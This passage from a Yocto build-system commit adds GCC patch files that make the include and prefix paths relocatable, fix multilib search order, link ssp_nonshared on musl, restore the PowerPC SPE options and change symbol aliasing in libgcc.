+ #define INCLUDE_DEFAULTS_MUSL_TOOL
+ #endif
+
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0},
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0},
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET
+ #endif
+
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 2 }, \
+- { NATIVE_SYSTEM_HEADER_DIR, 0, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 2 }, \
++ { NATIVE_SYSTEM_HEADER_DIRVAR, 0, 0, 0, 1, 0 },
+ #else
+ #define INCLUDE_DEFAULTS_MUSL_NATIVE
+ #endif
+@@ -1021,7 +1021,7 @@ ncrtn.o%s"
+ INCLUDE_DEFAULTS_MUSL_TOOL \
+ INCLUDE_DEFAULTS_MUSL_SUBDIR_TARGET \
+ INCLUDE_DEFAULTS_MUSL_NATIVE \
+- { GCC_INCLUDE_DIR, "GCC", 0, 1, 0, 0 }, \
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
+ #endif
+diff --git a/gcc/cppdefault.cc b/gcc/cppdefault.cc
+index 734590a7059..b4a8fc29e4a 100644
+--- a/gcc/cppdefault.cc
++++ b/gcc/cppdefault.cc
+@@ -35,6 +35,30 @@
+ # undef CROSS_INCLUDE_DIR
+ #endif
+
++static char GPLUSPLUS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_INCLUDE_DIR;
++char GCC_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GCC_INCLUDE_DIR;
++static char GPLUSPLUS_TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_TOOL_INCLUDE_DIR;
++static char GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = GPLUSPLUS_BACKWARD_INCLUDE_DIR;
++static char STANDARD_STARTFILE_PREFIX_2VAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET;
++#ifdef LOCAL_INCLUDE_DIR
++static char LOCAL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = LOCAL_INCLUDE_DIR;
++#endif
++#ifdef PREFIX_INCLUDE_DIR
++static char PREFIX_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX_INCLUDE_DIR;
++#endif
++#ifdef FIXED_INCLUDE_DIR
++static char FIXED_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = FIXED_INCLUDE_DIR;
++#endif
++#ifdef CROSS_INCLUDE_DIR
++static char CROSS_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = CROSS_INCLUDE_DIR;
++#endif
++#ifdef TOOL_INCLUDE_DIR
++static char TOOL_INCLUDE_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = TOOL_INCLUDE_DIR;
++#endif
++#ifdef NATIVE_SYSTEM_HEADER_DIR
++static char NATIVE_SYSTEM_HEADER_DIRVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = NATIVE_SYSTEM_HEADER_DIR;
++#endif
++
+ const struct default_include cpp_include_defaults[]
+ #ifdef INCLUDE_DEFAULTS
+ = INCLUDE_DEFAULTS;
+@@ -42,17 +66,17 @@ const struct default_include cpp_include_defaults[]
+ = {
+ #ifdef GPLUSPLUS_INCLUDE_DIR
+ /* Pick up GNU C++ generic include files. */
+- { GPLUSPLUS_INCLUDE_DIR, "G++", 1, 1,
++ { GPLUSPLUS_INCLUDE_DIRVAR, "G++", 1, 1,
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+ #endif
+ #ifdef GPLUSPLUS_TOOL_INCLUDE_DIR
+ /* Pick up GNU C++ target-dependent include files. */
+- { GPLUSPLUS_TOOL_INCLUDE_DIR, "G++", 1, 1,
++ { GPLUSPLUS_TOOL_INCLUDE_DIRVAR, "G++", 1, 1,
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 1 },
+ #endif
+ #ifdef GPLUSPLUS_BACKWARD_INCLUDE_DIR
+ /* Pick up GNU C++ backward and deprecated include files. */
+- { GPLUSPLUS_BACKWARD_INCLUDE_DIR, "G++", 1, 1,
++ { GPLUSPLUS_BACKWARD_INCLUDE_DIRVAR, "G++", 1, 1,
+ GPLUSPLUS_INCLUDE_DIR_ADD_SYSROOT, 0 },
+ #endif
+ #ifdef GPLUSPLUS_LIBCXX_INCLUDE_DIR
+@@ -62,26 +86,26 @@ const struct default_include cpp_include_defaults[]
+ #endif
+ #ifdef GCC_INCLUDE_DIR
+ /* This is the dir for gcc's private headers. */
+- { GCC_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
++ { GCC_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
+ #endif
+ #ifdef GCC_INCLUDE_SUBDIR_TARGET
+ /* This is the dir for gcc's private headers under the specified sysroot. */
+- { STANDARD_STARTFILE_PREFIX_2 GCC_INCLUDE_SUBDIR_TARGET, "GCC", 0, 0, 1, 0 },
++ { STANDARD_STARTFILE_PREFIX_2VAR, "GCC", 0, 0, 1, 0 },
+ #endif
+ #ifdef LOCAL_INCLUDE_DIR
+ /* /usr/local/include comes before the fixincluded header files. */
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 2 },
+- { LOCAL_INCLUDE_DIR, 0, 0, 1, 1, 0 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 2 },
++ { LOCAL_INCLUDE_DIRVAR, 0, 0, 1, 1, 0 },
+ #endif
+ #ifdef PREFIX_INCLUDE_DIR
+- { PREFIX_INCLUDE_DIR, 0, 0, 1, 0, 0 },
++ { PREFIX_INCLUDE_DIRVAR, 0, 0, 1, 0, 0 },
+ #endif
+ #ifdef FIXED_INCLUDE_DIR
+ /* This is the dir for fixincludes. */
+ #ifndef SYSROOT_HEADERS_SUFFIX_SPEC
+- { FIXED_INCLUDE_DIR, "GCC", 0, 0, 0, 2 },
++ { FIXED_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 2 },
+ #endif
+- { FIXED_INCLUDE_DIR, "GCC", 0, 0, 0,
++ { FIXED_INCLUDE_DIRVAR, "GCC", 0, 0, 0,
+ /* A multilib suffix needs adding if different multilibs use
+ different headers. */
+ #ifdef SYSROOT_HEADERS_SUFFIX_SPEC
+@@ -93,33 +117,24 @@ const struct default_include cpp_include_defaults[]
+ #endif
+ #ifdef CROSS_INCLUDE_DIR
+ /* One place the target system's headers might be. */
+- { CROSS_INCLUDE_DIR, "GCC", 0, 0, 0, 0 },
++ { CROSS_INCLUDE_DIRVAR, "GCC", 0, 0, 0, 0 },
+ #endif
+ #ifdef TOOL_INCLUDE_DIR
+ /* Another place the target system's headers might be. */
+- { TOOL_INCLUDE_DIR, "BINUTILS", 0, 1, 0, 0 },
++ { TOOL_INCLUDE_DIRVAR, "BINUTILS", 0, 1, 0, 0 },
+ #endif
+ #ifdef NATIVE_SYSTEM_HEADER_DIR
+ /* /usr/include comes dead last. */
+- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
+- { NATIVE_SYSTEM_HEADER_DIR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 2 },
++ { NATIVE_SYSTEM_HEADER_DIRVAR, NATIVE_SYSTEM_HEADER_COMPONENT, 0, 0, 1, 0 },
+ #endif
+ { 0, 0, 0, 0, 0, 0 }
+ };
+ #endif /* no INCLUDE_DEFAULTS */
+
+-#ifdef GCC_INCLUDE_DIR
+-const char cpp_GCC_INCLUDE_DIR[] = GCC_INCLUDE_DIR;
+-const size_t cpp_GCC_INCLUDE_DIR_len = sizeof GCC_INCLUDE_DIR - 8;
+-#else
+-const char cpp_GCC_INCLUDE_DIR[] = "";
+-const size_t cpp_GCC_INCLUDE_DIR_len = 0;
+-#endif
+-
+ /* The configured prefix. */
+-const char cpp_PREFIX[] = PREFIX;
+-const size_t cpp_PREFIX_len = sizeof PREFIX - 1;
+-const char cpp_EXEC_PREFIX[] = STANDARD_EXEC_PREFIX;
++char PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX;
++char EXEC_PREFIXVAR[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
+
+ /* This value is set by cpp_relocated at runtime */
+ const char *gcc_exec_prefix;
+diff --git a/gcc/cppdefault.h b/gcc/cppdefault.h
+index e26b424e99c..c9abb090dcd 100644
+--- a/gcc/cppdefault.h
++++ b/gcc/cppdefault.h
+@@ -33,7 +33,8 @@
+
+ struct default_include
+ {
+- const char *const fname; /* The name of the directory. */
++ const char *fname; /* The name of the directory. */
++
+ const char *const component; /* The component containing the directory
+ (see update_path in prefix.cc) */
+ const char cplusplus; /* When this is non-zero, we should only
+@@ -55,17 +56,13 @@ struct default_include
+ };
+
+ extern const struct default_include cpp_include_defaults[];
+-extern const char cpp_GCC_INCLUDE_DIR[];
+-extern const size_t cpp_GCC_INCLUDE_DIR_len;
++extern char GCC_INCLUDE_DIRVAR[] __attribute__ ((section (".gccrelocprefix")));
+
+ /* The configure-time prefix, i.e., the value supplied as the argument
+ to --prefix=. */
+-extern const char cpp_PREFIX[];
++extern char PREFIXVAR[] __attribute__ ((section (".gccrelocprefix")));
+ /* The length of the configure-time prefix. */
+-extern const size_t cpp_PREFIX_len;
+-/* The configure-time execution prefix. This is typically the lib/gcc
+- subdirectory of cpp_PREFIX. */
+-extern const char cpp_EXEC_PREFIX[];
++extern char EXEC_PREFIXVAR[] __attribute__ ((section (".gccrelocprefix")));
+ /* The run-time execution prefix. This is typically the lib/gcc
+ subdirectory of the actual installation. */
+ extern const char *gcc_exec_prefix;
+diff --git a/gcc/gcc.cc b/gcc/gcc.cc
+index 8af0c814c33..605fe3b8c0d 100644
+--- a/gcc/gcc.cc
++++ b/gcc/gcc.cc
+@@ -255,6 +255,8 @@ FILE *report_times_to_file = NULL;
+ #endif
+ static const char *target_system_root = DEFAULT_TARGET_SYSTEM_ROOT;
+
++static char target_relocatable_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = SYSTEMLIBS_DIR;
++
+ /* Nonzero means pass the updated target_system_root to the compiler. */
+
+ static int target_system_root_changed;
+@@ -578,6 +580,7 @@ or with constant text in a single argument.
+ %G process LIBGCC_SPEC as a spec.
+ %R Output the concatenation of target_system_root and
+ target_sysroot_suffix.
++ %r Output the base path target_relocatable_prefix
+ %S process STARTFILE_SPEC as a spec. A capital S is actually used here.
+ %E process ENDFILE_SPEC as a spec. A capital E is actually used here.
+ %C process CPP_SPEC as a spec.
+@@ -1619,10 +1622,10 @@ static const char *gcc_libexec_prefix;
+ gcc_exec_prefix is set because, in that case, we know where the
+ compiler has been installed, and use paths relative to that
+ location instead. */
+-static const char *const standard_exec_prefix = STANDARD_EXEC_PREFIX;
+-static const char *const standard_libexec_prefix = STANDARD_LIBEXEC_PREFIX;
+-static const char *const standard_bindir_prefix = STANDARD_BINDIR_PREFIX;
+-static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
++static char standard_exec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_EXEC_PREFIX;
++static char standard_libexec_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_LIBEXEC_PREFIX;
++static char standard_bindir_prefix[4096] __attribute__ ((section (".gccrelocprefix"))) = STANDARD_BINDIR_PREFIX;
++static char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
+
+ /* For native compilers, these are well-known paths containing
+ components that may be provided by the system. For cross
+@@ -1630,9 +1633,9 @@ static const char *const standard_startfile_prefix = STANDARD_STARTFILE_PREFIX;
+ static const char *md_exec_prefix = MD_EXEC_PREFIX;
+ static const char *md_startfile_prefix = MD_STARTFILE_PREFIX;
+ static const char *md_startfile_prefix_1 = MD_STARTFILE_PREFIX_1;
+-static const char *const standard_startfile_prefix_1
++static char standard_startfile_prefix_1[4096] __attribute__ ((section (".gccrelocprefix")))
+ = STANDARD_STARTFILE_PREFIX_1;
+-static const char *const standard_startfile_prefix_2
++static char standard_startfile_prefix_2[4096] __attribute__ ((section (".gccrelocprefix")))
+ = STANDARD_STARTFILE_PREFIX_2;
+
+ /* A relative path to be used in finding the location of tools
+@@ -6652,6 +6655,11 @@ do_spec_1 (const char *spec, int inswitch, const char *soft_matched_part)
+ }
+ break;
+
++ case 'r':
++ obstack_grow (&obstack, target_relocatable_prefix,
++ strlen (target_relocatable_prefix));
++ break;
++
+ case 'S':
+ value = do_spec_1 (startfile_spec, 0, NULL);
+ if (value != 0)
+diff --git a/gcc/incpath.cc b/gcc/incpath.cc
+index 46c0d543205..d088dae7b04 100644
+--- a/gcc/incpath.cc
++++ b/gcc/incpath.cc
+@@ -135,7 +135,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ int relocated = cpp_relocated ();
+ size_t len;
+
+- if (iprefix && (len = cpp_GCC_INCLUDE_DIR_len) != 0)
++ if (iprefix && (len = strlen(GCC_INCLUDE_DIRVAR) - 7) != 0)
+ {
+ /* Look for directories that start with the standard prefix.
+ "Translate" them, i.e. replace /usr/local/lib/gcc... with
+@@ -150,7 +150,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ now. */
+ if (sysroot && p->add_sysroot)
+ continue;
+- if (!filename_ncmp (p->fname, cpp_GCC_INCLUDE_DIR, len))
++ if (!filename_ncmp (p->fname, GCC_INCLUDE_DIRVAR, len))
+ {
+ char *str = concat (iprefix, p->fname + len, NULL);
+ if (p->multilib == 1 && imultilib)
+@@ -191,7 +191,7 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ free (sysroot_no_trailing_dir_separator);
+ }
+ else if (!p->add_sysroot && relocated
+- && !filename_ncmp (p->fname, cpp_PREFIX, cpp_PREFIX_len))
++ && !filename_ncmp (p->fname, PREFIXVAR, strlen(PREFIXVAR)))
+ {
+ static const char *relocated_prefix;
+ char *ostr;
+@@ -208,12 +208,12 @@ add_standard_paths (const char *sysroot, const char *iprefix,
+ dummy = concat (gcc_exec_prefix, "dummy", NULL);
+ relocated_prefix
+ = make_relative_prefix (dummy,
+- cpp_EXEC_PREFIX,
+- cpp_PREFIX);
++ EXEC_PREFIXVAR,
++ PREFIXVAR);
+ free (dummy);
+ }
+ ostr = concat (relocated_prefix,
+- p->fname + cpp_PREFIX_len,
++ p->fname + strlen(PREFIXVAR),
+ NULL);
+ str = update_path (ostr, p->component);
+ free (ostr);
+diff --git a/gcc/prefix.cc b/gcc/prefix.cc
+index c2a37bde5ea..33944701ced 100644
+--- a/gcc/prefix.cc
++++ b/gcc/prefix.cc
+@@ -73,7 +73,9 @@ License along with GCC; see the file COPYING3. If not see
+ #include "prefix.h"
+ #include "common/common-target.h"
+
+-static const char *std_prefix = PREFIX;
++char PREFIXVAR1[4096] __attribute__ ((section (".gccrelocprefix"))) = PREFIX;
++
++static const char *std_prefix = PREFIXVAR1;
+
+ static const char *get_key_value (char *);
+ static char *translate_name (char *);
+@@ -213,7 +215,7 @@ translate_name (char *name)
+ prefix = getenv (key);
+
+ if (prefix == 0)
+- prefix = PREFIX;
++ prefix = PREFIXVAR1;
+
+ /* We used to strip trailing DIR_SEPARATORs here, but that can
+ sometimes yield a result with no separator when one was coded
diff --git a/meta/recipes-devtools/gcc/gcc/0017-Search-target-sysroot-gcc-version-specific-dirs-with.patch b/meta/recipes-devtools/gcc/gcc/0017-Search-target-sysroot-gcc-version-specific-dirs-with.patch
new file mode 100644
index 0000000000..8a11049ca3
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0017-Search-target-sysroot-gcc-version-specific-dirs-with.patch
@@ -0,0 +1,100 @@
+From 7e095089452b6e895ec40981752e9f902f0ad889 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 7 Dec 2015 23:41:45 +0000
+Subject: [PATCH] Search target sysroot gcc version specific dirs with
+ multilib.
+
+We install the gcc libraries (such as crtbegin.p) into
+<sysroot><libdir>/<target-sys>/5.2.0/
+which is a default search path for GCC (aka multi_suffix in the
+code below). <target-sys> is 'machine' in gcc's terminology. We use
+these directories so that multiple gcc versions could in theory
+co-exist on target.
+
+We only want to build one gcc-cross-canadian per arch and have this work
+for all multilibs. <target-sys> can be handled by mapping the multilib
+<target-sys> to the one used by gcc-cross-canadian, e.g.
+mips64-polkmllib32-linux
+is symlinked to by mips64-poky-linux.
+
+The default gcc search path in the target sysroot for a "lib64" mutlilib
+is:
+
+<sysroot>/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/lib32/../lib64/
+<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/usr/lib32/../lib64/
+<sysroot>/lib32/
+<sysroot>/usr/lib32/
+
+which means that the lib32 crtbegin.o will be found and the lib64 ones
+will not which leads to compiler failures.
+
+This patch injects a multilib version of that path first so the lib64
+binaries can be found first. With this change the search path becomes:
+
+<sysroot>/lib32/../lib64/mips64-poky-linux/5.2.0/
+<sysroot>/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/lib32/../lib64/
+<sysroot>/usr/lib32/../lib64/mips64-poky-linux/5.2.0/
+<sysroot>/usr/lib32/mips64-poky-linux/5.2.0/
+<sysroot>/usr/lib32/../lib64/
+<sysroot>/lib32/
+<sysroot>/usr/lib32/
+
+RP 2015/7/31
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2023-April/615320.html]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/gcc.cc | 29 ++++++++++++++++++++++++++++-
+ 1 file changed, 28 insertions(+), 1 deletion(-)
+
+diff --git a/gcc/gcc.cc b/gcc/gcc.cc
+index 605fe3b8c0d..c3a1dab38c4 100644
+--- a/gcc/gcc.cc
++++ b/gcc/gcc.cc
+@@ -2809,7 +2809,7 @@ for_each_path (const struct path_prefix *paths,
+ if (path == NULL)
+ {
+ len = paths->max_len + extra_space + 1;
+- len += MAX (MAX (suffix_len, multi_os_dir_len), multiarch_len);
++ len += MAX ((suffix_len + multi_os_dir_len), multiarch_len);
+ path = XNEWVEC (char, len);
+ }
+
+@@ -2821,6 +2821,33 @@ for_each_path (const struct path_prefix *paths,
+ /* Look first in MACHINE/VERSION subdirectory. */
+ if (!skip_multi_dir)
+ {
++ if (!(pl->os_multilib ? skip_multi_os_dir : skip_multi_dir))
++ {
++ const char *this_multi;
++ size_t this_multi_len;
++
++ if (pl->os_multilib)
++ {
++ this_multi = multi_os_dir;
++ this_multi_len = multi_os_dir_len;
++ }
++ else
++ {
++ this_multi = multi_dir;
++ this_multi_len = multi_dir_len;
++ }
++
++ /* Look in multilib MACHINE/VERSION subdirectory first */
++ if (this_multi_len)
++ {
++ memcpy (path + len, this_multi, this_multi_len + 1);
++ memcpy (path + len + this_multi_len, multi_suffix, suffix_len + 1);
++ ret = callback (path, callback_info);
++ if (ret)
++ break;
++ }
++ }
++
+ memcpy (path + len, multi_suffix, suffix_len + 1);
+ ret = callback (path, callback_info);
+ if (ret)
diff --git a/meta/recipes-devtools/gcc/gcc/0018-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch b/meta/recipes-devtools/gcc/gcc/0018-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
new file mode 100644
index 0000000000..9bc77b485f
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0018-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch
@@ -0,0 +1,84 @@
+From bf92b290556b7050df0a001cc7ae43cf79990456 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 27 Jun 2017 18:10:54 -0700
+Subject: [PATCH] Add ssp_nonshared to link commandline for musl targets
+
+when -fstack-protector options are enabled we need to
+link with ssp_shared on musl since it does not provide
+the __stack_chk_fail_local() so essentially it provides
+libssp but not libssp_nonshared something like
+TARGET_LIBC_PROVIDES_SSP_BUT_NOT_SSP_NONSHARED
+ where-as for glibc the needed symbols
+are already present in libc_nonshared library therefore
+we do not need any library helper on glibc based systems
+but musl needs the libssp_noshared from gcc
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2023-April/615317.html]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/linux.h | 7 +++++++
+ gcc/config/rs6000/linux.h | 10 ++++++++++
+ gcc/config/rs6000/linux64.h | 10 ++++++++++
+ 3 files changed, 27 insertions(+)
+
+diff --git a/gcc/config/linux.h b/gcc/config/linux.h
+index c921cf6ef63..32e1bc1ae2d 100644
+--- a/gcc/config/linux.h
++++ b/gcc/config/linux.h
+@@ -195,6 +195,13 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
+ { GCC_INCLUDE_DIRVAR, "GCC", 0, 1, 0, 0 }, \
+ { 0, 0, 0, 0, 0, 0 } \
+ }
++#ifdef TARGET_LIBC_PROVIDES_SSP
++#undef LINK_SSP_SPEC
++#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
++ "|fstack-protector-strong|fstack-protector-explicit" \
++ ":-lssp_nonshared}"
++#endif
++
+ #endif
+
+ #if (DEFAULT_LIBC == LIBC_UCLIBC) && defined (SINGLE_LIBC) /* uClinux */
+diff --git a/gcc/config/rs6000/linux.h b/gcc/config/rs6000/linux.h
+index 5d21befe8e4..1248a68e4ca 100644
+--- a/gcc/config/rs6000/linux.h
++++ b/gcc/config/rs6000/linux.h
+@@ -99,6 +99,16 @@
+ " -m elf32ppclinux")
+ #endif
+
++/* link libssp_nonshared.a with musl */
++#if DEFAULT_LIBC == LIBC_MUSL
++#ifdef TARGET_LIBC_PROVIDES_SSP
++#undef LINK_SSP_SPEC
++#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
++ "|fstack-protector-strong|fstack-protector-explicit" \
++ ":-lssp_nonshared}"
++#endif
++#endif
++
+ #undef LINK_OS_LINUX_SPEC
+ #define LINK_OS_LINUX_SPEC LINK_OS_LINUX_EMUL " %{!shared: %{!static: \
+ %{!static-pie: \
+diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
+index 2ddab7c99c1..9641580fc83 100644
+--- a/gcc/config/rs6000/linux64.h
++++ b/gcc/config/rs6000/linux64.h
+@@ -372,6 +372,16 @@ extern int dot_symbols;
+ " -m elf64ppc")
+ #endif
+
++/* link libssp_nonshared.a with musl */
++#if DEFAULT_LIBC == LIBC_MUSL
++#ifdef TARGET_LIBC_PROVIDES_SSP
++#undef LINK_SSP_SPEC
++#define LINK_SSP_SPEC "%{fstack-protector|fstack-protector-all" \
++ "|fstack-protector-strong|fstack-protector-explicit" \
++ ":-lssp_nonshared}"
++#endif
++#endif
++
+ #define LINK_OS_LINUX_SPEC32 LINK_OS_LINUX_EMUL32 " %{!shared: %{!static: \
+ %{!static-pie: \
+ %{rdynamic:-export-dynamic} \
diff --git a/meta/recipes-devtools/gcc/gcc/0019-Re-introduce-spe-commandline-options.patch b/meta/recipes-devtools/gcc/gcc/0019-Re-introduce-spe-commandline-options.patch
new file mode 100644
index 0000000000..f785688661
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0019-Re-introduce-spe-commandline-options.patch
@@ -0,0 +1,39 @@
+From 587ac4a59ea56da18a9989c31a75124e974cb37c Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 6 Jun 2018 12:10:22 -0700
+Subject: [PATCH] Re-introduce spe commandline options
+
+This should ensure that we keep accepting
+spe options
+
+Upstream-Status: Inappropriate [SPE port is removed from rs600 port]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/rs6000/rs6000.opt | 13 +++++++++++++
+ 1 file changed, 13 insertions(+)
+
+diff --git a/gcc/config/rs6000/rs6000.opt b/gcc/config/rs6000/rs6000.opt
+index bde6d3ff664..5af9640825c 100644
+--- a/gcc/config/rs6000/rs6000.opt
++++ b/gcc/config/rs6000/rs6000.opt
+@@ -344,6 +344,19 @@ mdebug=
+ Target RejectNegative Joined
+ -mdebug= Enable debug output.
+
++; PPC SPE ABI
++mspe
++Target Var(rs6000_spe) Save
++Generate SPE SIMD instructions on E500.
++
++mabi=spe
++Target RejectNegative Var(rs6000_spe_abi) Save
++Use the SPE ABI extensions.
++
++mabi=no-spe
++Target RejectNegative Var(rs6000_spe_abi, 0)
++Do not use the SPE ABI extensions.
++
+ ; Altivec ABI
+ mabi=altivec
+ Target RejectNegative Var(rs6000_altivec_abi) Save
diff --git a/meta/recipes-devtools/gcc/gcc/0020-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch b/meta/recipes-devtools/gcc/gcc/0020-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
new file mode 100644
index 0000000000..b86edab5d5
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0020-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch
@@ -0,0 +1,83 @@
+From 8c4c59521720f8c1b1e38e38896b47fcb1bf00ac Mon Sep 17 00:00:00 2001
+From: Szabolcs Nagy <nsz@port70.net>
+Date: Sat, 24 Oct 2015 20:09:53 +0000
+Subject: [PATCH] libgcc_s: Use alias for __cpu_indicator_init instead of
+ symver
+
+Adapter from
+
+https://gcc.gnu.org/ml/gcc-patches/2015-05/msg00899.html
+
+This fix was debated but hasnt been applied gcc upstream since
+they expect musl to support '@' in symbol versioning which is
+a sun/gnu versioning extention. This patch however avoids the
+need for the '@' symbols at all
+
+libgcc/Changelog:
+
+2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
+
+ * config/i386/cpuinfo.c (__cpu_indicator_init_local): Add.
+ (__cpu_indicator_init@GCC_4.8.0, __cpu_model@GCC_4.8.0): Remove.
+
+ * config/i386/t-linux (HOST_LIBGCC2_CFLAGS): Remove -DUSE_ELF_SYMVER.
+
+gcc/Changelog:
+
+2015-05-11 Szabolcs Nagy <szabolcs.nagy@arm.com>
+
+ * config/i386/i386-expand.c (ix86_expand_builtin): Make __builtin_cpu_init
+ call __cpu_indicator_init_local instead of __cpu_indicator_init.
+
+Upstream-Status: Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2023-February/612559.html]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ gcc/config/i386/i386-expand.cc | 4 ++--
+ libgcc/config/i386/cpuinfo.c | 6 +++---
+ libgcc/config/i386/t-linux | 2 +-
+ 3 files changed, 6 insertions(+), 6 deletions(-)
+
+diff --git a/gcc/config/i386/i386-expand.cc b/gcc/config/i386/i386-expand.cc
+index 0d817fc3f3b..8d34d19d3f9 100644
+--- a/gcc/config/i386/i386-expand.cc
++++ b/gcc/config/i386/i386-expand.cc
+@@ -12691,10 +12691,10 @@ ix86_expand_builtin (tree exp, rtx target, rtx subtarget,
+ {
+ case IX86_BUILTIN_CPU_INIT:
+ {
+- /* Make it call __cpu_indicator_init in libgcc. */
++ /* Make it call __cpu_indicator_init_local in libgcc.a. */
+ tree call_expr, fndecl, type;
+ type = build_function_type_list (integer_type_node, NULL_TREE);
+- fndecl = build_fn_decl ("__cpu_indicator_init", type);
++ fndecl = build_fn_decl ("__cpu_indicator_init_local", type);
+ call_expr = build_call_expr (fndecl, 0);
+ return expand_expr (call_expr, target, mode, EXPAND_NORMAL);
+ }
+diff --git a/libgcc/config/i386/cpuinfo.c b/libgcc/config/i386/cpuinfo.c
+index 50b6d8248a2..724ced402a1 100644
+--- a/libgcc/config/i386/cpuinfo.c
++++ b/libgcc/config/i386/cpuinfo.c
+@@ -63,7 +63,7 @@ __cpu_indicator_init (void)
+ __cpu_features2);
+ }
+
+-#if defined SHARED && defined USE_ELF_SYMVER
+-__asm__ (".symver __cpu_indicator_init, __cpu_indicator_init@GCC_4.8.0");
+-__asm__ (".symver __cpu_model, __cpu_model@GCC_4.8.0");
++#ifndef SHARED
++int __cpu_indicator_init_local (void)
++ __attribute__ ((weak, alias ("__cpu_indicator_init")));
+ #endif
+diff --git a/libgcc/config/i386/t-linux b/libgcc/config/i386/t-linux
+index 8506a635790..564296f788e 100644
+--- a/libgcc/config/i386/t-linux
++++ b/libgcc/config/i386/t-linux
+@@ -3,5 +3,5 @@
+ # t-slibgcc-elf-ver and t-linux
+ SHLIB_MAPFILES = libgcc-std.ver $(srcdir)/config/i386/libgcc-glibc.ver
+
+-HOST_LIBGCC2_CFLAGS += -mlong-double-80 -DUSE_ELF_SYMVER $(CET_FLAGS)
++HOST_LIBGCC2_CFLAGS += -mlong-double-80 $(CET_FLAGS)
+ CRTSTUFF_T_CFLAGS += $(CET_FLAGS)
diff --git a/meta/recipes-devtools/gcc/gcc/0021-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch b/meta/recipes-devtools/gcc/gcc/0021-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch
new file mode 100644
